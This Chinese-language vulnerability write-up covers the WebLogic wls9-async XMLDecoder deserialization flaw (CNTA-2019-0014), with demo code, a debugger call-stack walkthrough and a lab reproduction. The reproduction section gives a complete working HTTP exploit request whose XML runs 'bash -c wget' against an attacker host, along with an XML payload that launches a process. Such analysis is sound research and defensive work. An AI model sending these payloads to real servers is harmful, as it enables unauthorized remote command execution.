CNTA-2019-0014——WebLogic反序列化XML注入

 

一、原理

(一)概述

2019年4月17日,国家信息安全漏洞共享平台(CNVD)收录了由中国民生银行股份有限公司报送的Oracle WebLogic wls9-async反序列化远程命令执行漏洞(CNVD-2019-11873)。攻击者利用该漏洞,可在未授权的情况下远程执行命令。

(二)CNTA-2019-0014

部分版本WebLogic中默认包含的wls9_async_response包,为WebLogic Server提供异步通讯服务。由于该WAR包在反序列化处理输入信息时存在缺陷,攻击者可以发送精心构造的恶意 HTTP 请求,获得目标服务器的权限,在未授权的情况下远程执行命令。
该漏洞的影响版本有WebLogic 10.X和WebLogic 12.1.3。

(三)原理

1.原理

WorkContextXmlInputAdapter中对输入的XML未进行有效检查,可导致任意命令执行。
先简单看下Java中xml的结构,来个简单的demo,

import java.beans.XMLEncoder;
import java.io.BufferedOutputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.util.HashMap;

public class DemoOut {
    public static void main(String[] args) throws FileNotFoundException {
        HashMap<Object, Object> map = new HashMap<>();
        map.put("arr", new String[3]);
        XMLEncoder e = new XMLEncoder(new BufferedOutputStream(new FileOutputStream("demo.xml")));
        e.writeObject(map);
        e.close();
    }
}

得到的demo.xml如下,

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_151" class="java.beans.XMLDecoder">
 <object class="java.util.HashMap">
  <void method="put">
   <string>arr</string>
   <array class="java.lang.String" length="3"/>
  </void>
 </object>
</java>

这其中,object标签表示对象;void标签表示函数调用、赋值等操作, 里面的method 属性指定方法名称; array标签表示数组, 里面的class属性指定具体类。
我们再来读取一下这个xml文件,

import java.beans.XMLDecoder;
import java.io.BufferedInputStream;
import java.io.FileInputStream;
import java.io.FileNotFoundException;

public class DemoIn {
    public static void main(String[] args) throws FileNotFoundException {
        XMLDecoder d = new XMLDecoder(new BufferedInputStream(new FileInputStream("demo.xml")));
        Object demo = d.readObject();
        d.close();
    }
}

跟进在调试这段代码的过程中,可以看到以下两个比较有价值的过程点,
一是此处生成一个表达式对象var5,其中会调用HashMap的put将arr给put进去,

最终反序列化恢复成为一个我们最开始构建的对象,

我们可以想象,此处的void标签可以表示HashMap对象的put()函数的调用,也应该可以标识其它类的其它函数的调用。

比如,如果我们将demo.xml中的对象由HashMap改为可以执行命令的函数,再赋予适当的参数,就有可能执行恶意功能。
有如下这般xml一个,

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_151" class="java.beans.XMLDecoder">
 <object class="java.lang.ProcessBuilder">
  <array class="java.lang.String" length="1">
   <void index="0">
    <string>calc</string>
   </void>
  </array>
  <void method="start"/>
 </object>
</java>

再执行刚才的java,

可以看到calc已经被执行。
我们在刚才的Expression处下断,

当执行完create()之后,即会弹出计算器。

也就是说,只要能够传入合适的XML,且顺利被目标的readObject调用,就有可能成功实现RCE。

 

二、调试

(一)环境搭建

选用vulhub-master/weblogic/CVE-2017-10271

docker-compose up -d

将其中的Oracle文件夹拷出,
根据提示,只将/wlserver_10.3/server/lib导入idea即可,用到的主要是wlserver_10.3\server\lib\wseeclient.jar!\weblogic\wsee\server\servlet\BaseWSServlet.class

(二)复现

Afant1大佬的payload如下,

POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.43.64:7001
Accept-Encoding: gzip, deflate
SOAPAction: 
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml
Content-Length: 768

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.8.0_131" class="java.beans.xmlDecoder"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>wget 192.168.43.134:9898</string></void></array><void method="start"/></void></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>

开启http服务查看效果,

发送,

http.server收到请求,复现成功。

(三)调试

调用栈

readObject:203, XMLDecoder (java.beans)
readUTF:111, WorkContextXmlInputAdapter (weblogic.wsee.workarea)
readEntry:92, WorkContextEntryImpl (weblogic.workarea.spi)
receiveRequest:179, WorkContextLocalMap (weblogic.workarea)
receiveRequest:163, WorkContextMapImpl (weblogic.workarea)
handleRequest:27, WorkAreaServerHandler (weblogic.wsee.workarea)

handleRequest:141, HandlerIterator (weblogic.wsee.handler)
dispatch:114, ServerDispatcher (weblogic.wsee.ws.dispatch.server)
invoke:80, WsSkel (weblogic.wsee.ws)
handlePost:66, SoapProcessor (weblogic.wsee.server.servlet)
process:44, SoapProcessor (weblogic.wsee.server.servlet)
run:285, BaseWSServlet$AuthorizedInvoke (weblogic.wsee.server.servlet)
service:169, BaseWSServlet (weblogic.wsee.server.servlet)
...

下面分两段看一下流程。

1.BaseWSServlet.service->HandlerIterator.handleRequest

在service下断点,发送payload,断下,

由于没有强制使用HTTPS,可以顺利通过下面这些步骤,

接下来将生成一个AuthorizedInvoke,

这个函数的最后,调用了AuthorizedInvoke.run(),

接下来我们继续跟进run()。
run中生成了processerList,当var2为SoapProcessor时,跟进process()函数,

我们发送的是POST类型的数据包,此处顺利进入handlePost(),

跟进handlePost,var7负责建立连接相关事宜,

跟进invoke,

我们可以看到,var1负责与攻击机的连接,
接下来声明了一个Dispatcher,并set了connection和port的相关属性,然后调用了dispatch,

dispatch有发送、分派之意,正常来讲,对于一个访问,WebLogic应该会有正常的dispatch,至于载荷是不是合理,应该交由后面的逻辑处理部分来处理,我们跟进之。
dispatch开头的异常应该不能阻断前进的步伐,

向下看,到第70行,handleRequest即为处理请求。

2.HandlerIterator.handleRequest->XMLDecoder.readObject

在进入HandlerIterator.handleRequest之前,我们先看一下HandlerChain的内容,

可以看到是21个handler,
跟进handleRequest

可以看到正在遍历刚才的handlers,
我们设置一个条件断点,在index为16(对应WorkAreaServerHandler)时断下,

运行到handleRequest(var3),

跟进之,可以看到此处的var5在从var4读取xml输入,

详细看下,此时的几个变量信息,

可以看到,正是我们的payload,此处我们的payload还是很完好的,也没有经过任何检查。

跟进XMLDecoder的生成,这是个routine了。

跟进receiveRequest,调用了WorkContextLocalMap的receiveRequest。

接下来就进入了熟悉的流程,到此,没有见到有效的防护,

readEntry()里调用了readUTF(),

readObject在此展现。

再继续执行即是触发。

 

三、收获与启示

CNTA-2019-0014和CVE-2017-10271具有较高的相似性,都是在某一点上对用户发送的XML缺乏合理的检查,最终导致RCE。

 

参考链接

https://www.cnblogs.com/afanti/p/10792982.html
https://xz.aliyun.com/t/4895
https://www.cnvd.org.cn/webinfo/show/4989

(完)